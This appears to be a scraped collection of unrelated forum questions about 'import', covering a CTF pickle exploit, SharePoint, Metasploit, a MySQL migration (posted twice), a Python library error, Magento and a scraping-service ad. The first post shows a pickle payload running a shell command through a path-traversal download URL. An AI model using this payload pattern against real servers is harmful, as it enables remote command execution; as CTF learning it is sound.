Pickle Shellcode Import Error

I’m trying to execute pickle shell-code through a download function on a website but I get the following error:

<html> <h1>ERROR: Cannot load file</h1>  <!--  Traceback (most recent call last):   File "/opt/example/handlers/UserHandlers.py", line 134, in get     upload = pickle.load(f)   File "/usr/local/lib/python2.7/pickle.py", line 1384, in load     return Unpickler(file).load()   File "/usr/local/lib/python2.7/pickle.py", line 864, in load     dispatch[key](self)   File "/usr/local/lib/python2.7/pickle.py", line 1096, in load_global     klass = self.find_class(module, name)   File "/usr/local/lib/python2.7/pickle.py", line 1130, in find_class     __import__(module) ImportError: No module named posix  --> </html> 

Pickle Shellcode:

cposix system p1 (S'sleep 30' p2 tRp3 

I assume this is a path issue and I also can’t import modules by filename. Keep in mind I’m using an LFI vulnerability to call my pickle shell-code.

Example: http://example.com/download?file=../../../pickle.txt

Could this be the cause of the issue? I should also note this is a CTF, so it should be vulnerable in one way or another. Thanks in advance!

PowerShell to import promoted results into SharePoint online

My organisation is migrating from SP2010 to SPO and would like to use PowerShell to migrate the best bets from SP2010 to promoted results in SPO.

I currently have a csv file of promoted results and the URLs I would like them to point to. I want to use PowerShell to import them into my SPO site collection. Please suggest if there are any PowerShell scripts for importing promoted results.

Thank you.

Metasploit : How to get port information when import a xml file using db_import?

When I import the xml file containing output (-oX) from nmap into metasploit using db_import [filename.xml], I cannot see the port information. When I run db_hosts, the metasploit seems to store only addres,mac,os_name and purpose.

I know that If I do db_nmap instead of doing nmap on shell and importing inside metasploit, the port information is reflected in db.

How do I import database data to a new host that runs a newer version of MySQL without ssh access?

My current host for an old website has only MySQL 5.0 (serverVersion=10.2.12-MariaDB-log).

I want to move this website to a host that has either 5.5 or 5.6 or 5.7 MySQL (depending which server I move to).

But the only instructions I can find for updating database data from 5.0 to 5.6/5.7 are run from the command line, requiring ssh access that I do not have.
For example these are the best, clearest instructions I have found, but I cannot use them because, as AFAIK, I do not have ssh, nor do no fully understand the references ([he?] makes. (e.g. he says --no faults “for simplicity” but even if I had ssh, I don’t know if I should also use that flag or others.)

  • http://mysqlserverteam.com/upgrading-directly-from-mysql-5-0-to-5-7-using-an-in-place-upgrade/
  • https://mysqlserverteam.com/upgrading-directly-from-mysql-5-0-to-5-6-with-mysqldump/

I usually use MySQL Workbench to connect to remote databases, but when I connect to that old host via MySQL Workbench, a message pops up saying [Workbench] is not compatible with 5.0.
So for that host, I have either used MySQL Workbench anyway to make a backup (which probably probably means the backup is no good), or I use the host’s web-based tool (not my preference, but obviously better). I have also recently installed HeidiSQL because it seems to be compatible with 5.0 (I does not give a warning/error message anyway). So I have started making backups and minor data changes on that host using HeidiSQL.

The only reason I have continued to use the host running MySQL 5.0 is because I haven’t yet found instructions on how to migrate data for websites on that server, whether it’s via a hosting provider’s online database tool, MySQL Workbench, or HeidiSQL !
Everything I see is for for doing step-wise data upgrades using the command line, and/or for upgrading the database server itself.

I need a way to upgrade the data from 5.0 to 5.6 or 5.0 to 5.7, probably in 1 step, using a gui database connection tool, or some other independent method. I will not have access to any mySQL servers other than the server I’m migrating away from (5.0), and the server I am migrating to (5.5 or 5.6 or 5.7).

Does anyone know how to do this?

EDIT:

  • I usually choose “Export” from the gui to export and choose all tables, when I do a database backup. I assume this is the same as a “database dump” that I see referenced everywhere.
    Is this correct? If not, how do I generate a proper dump file?
  • What export “settings” should I use when the goal is to upgrade and migrate?
  • I also see some references to users table. Do I need to perform any other exports in order to fully transfer and upgrade my database to a new server with a more recent version?

How do I import database data to a new host that runs a newer version of MySQL without ssh access?

My current host for an old website has only MySQL 5.0 (serverVersion=10.2.12-MariaDB-log).

I want to move this website to a host that has either 5.5 or 5.6 or 5.7 MySQL (depending which server I move to).

But the only instructions I can find for updating database data from 5.0 to 5.6/5.7 are run from the command line, requiring ssh access that I do not have.
For example these are the best, clearest instructions I have found, but I cannot use them because, as AFAIK, I do not have ssh, nor do no fully understand the references ([he?] makes. (e.g. he says --no faults “for simplicity” but even if I had ssh, I don’t know if I should also use that flag or others.)

  • http://mysqlserverteam.com/upgrading-directly-from-mysql-5-0-to-5-7-using-an-in-place-upgrade/
  • https://mysqlserverteam.com/upgrading-directly-from-mysql-5-0-to-5-6-with-mysqldump/

I usually use MySQL Workbench to connect to remote databases, but when I connect to that old host via MySQL Workbench, a message pops up saying [Workbench] is not compatible with 5.0.
So for that host, I have either used MySQL Workbench anyway to make a backup (which probably probably means the backup is no good), or I use the host’s web-based tool (not my preference, but obviously better). I have also recently installed HeidiSQL because it seems to be compatible with 5.0 (I does not give a warning/error message anyway). So I have started making backups and minor data changes on that host using HeidiSQL.

The only reason I have continued to use the host running MySQL 5.0 is because I haven’t yet found instructions on how to migrate data for websites on that server, whether it’s via a hosting provider’s online database tool, MySQL Workbench, or HeidiSQL !
Everything I see is for for doing step-wise data upgrades using the command line, and/or for upgrading the database server itself.

I need a way to upgrade the data from 5.0 to 5.6 or 5.0 to 5.7, probably in 1 step, using a gui database connection tool, or some other independent method. I will not have access to any mySQL servers other than the server I’m migrating away from (5.0), and the server I am migrating to (5.5 or 5.6 or 5.7).

Does anyone know how to do this?

EDIT:

  • I usually choose “Export” from the gui to export and choose all tables, when I do a database backup. I assume this is the same as a “database dump” that I see referenced everywhere.
    Is this correct? If not, how do I generate a proper dump file?
  • What export “settings” should I use when the goal is to upgrade and migrate?
  • I also see some references to users table. Do I need to perform any other exports in order to fully transfer and upgrade my database to a new server with a more recent version?

How to fix ‘cannot import name get_seomoz_data from api’ error in Python

I tried to get the Alexa ranking for a given website. I used PyPI’s seolib library and installed it in my environment using !pip install seolib –user command. After executing alexa_rank = seolib.get_alexa(‘http://google.com’) code line, I got the following error.

ModuleNotFoundError: No module named 'api' 

Then I installed api module using !pip install api –user command. Then after I got this import error and I don’t have an idea of how to solve this error. Please somebody help on this.

import seolib  alexa_rank = seolib.get_alexa('http://google.com') print(alexa_rank) 
ImportError                               Traceback (most recent call last) <ipython-input-21-b46efa0fce9a> in <module> ----> 1 import seolib       2        3 alexa_rank = seolib.get_alexa('http://google.com')       4 print(alexa_rank)  ~/.local/lib/python3.7/site-packages/seolib/__init__.py in <module>       4        5  ----> 6 from api import get_seomoz_data       7 from api import get_alexa       8 from api import get_semrush  ImportError: cannot import name 'get_seomoz_data' from 'api' (/home/mylap/.local/lib/python3.7/site-packages/api/__init__.py) 

I’m using Python 3.7.3 version on my environment.

Magento 2 UI component import from two sources

I need the product field “disabled” attribute to be dependent from two other checkbox fields. For now I have it dependent from one field like this (DataModfier):

protected function customizeFieldSub(array $  meta) {     $  dependentPath = $  this->arrayManager->findPath('show_email_for_instant_price', $  meta, null, 'children');      if ($  dependentPath) {         $  meta = $  this->arrayManager->merge(             $  dependentPath . static::META_CONFIG_PATH,             $  meta,             [                 'dataScope' => 'dependent_field',                 'validation' => [                     'required-entry' => true,                     'validate-zero-or-greater' => true                 ],                 'formElement' => 'input',                 'additionalClasses' => 'admin__field-small',                 'imports' => [                     'disabled' =>                          '!ns = $  { $  .ns }, index = field1:checked'                 ]             ]         );     }     return $  meta; } 

I need something like this:

               'imports' => [                     'disabled' =>                         '(!ns = $  { $  .ns }, index = field1:checked) && (!ns = $  { $  .ns }, index = field2:checked)'                 ] 

But it doesn’t work this way. And also it doesn’t allow to use functions there. How can I achieve what I want? I need the field to be disabled until you enable two checkboxes

Import of products from suppliers site – scraping, import data

Hi there!

We offer:
Import of products from suppliers site
Import the commodity base from supplier sites to your online store

Collect (scraping) products from any source;
Auto Markup;
Categories and characteristics;
Remove\replacing watermarks on images;
Auto translation;
Other wishes.

Import commodity base to
OpenCart
WordPress
Shopify
Wix
CS-Cart
Any other system (requires documentation or sample file)

Import types
XLS
CSV
XML
SQL
API

Price
1 source, until 10 000 products, 1 import…

Import of products from suppliers site – scraping, import data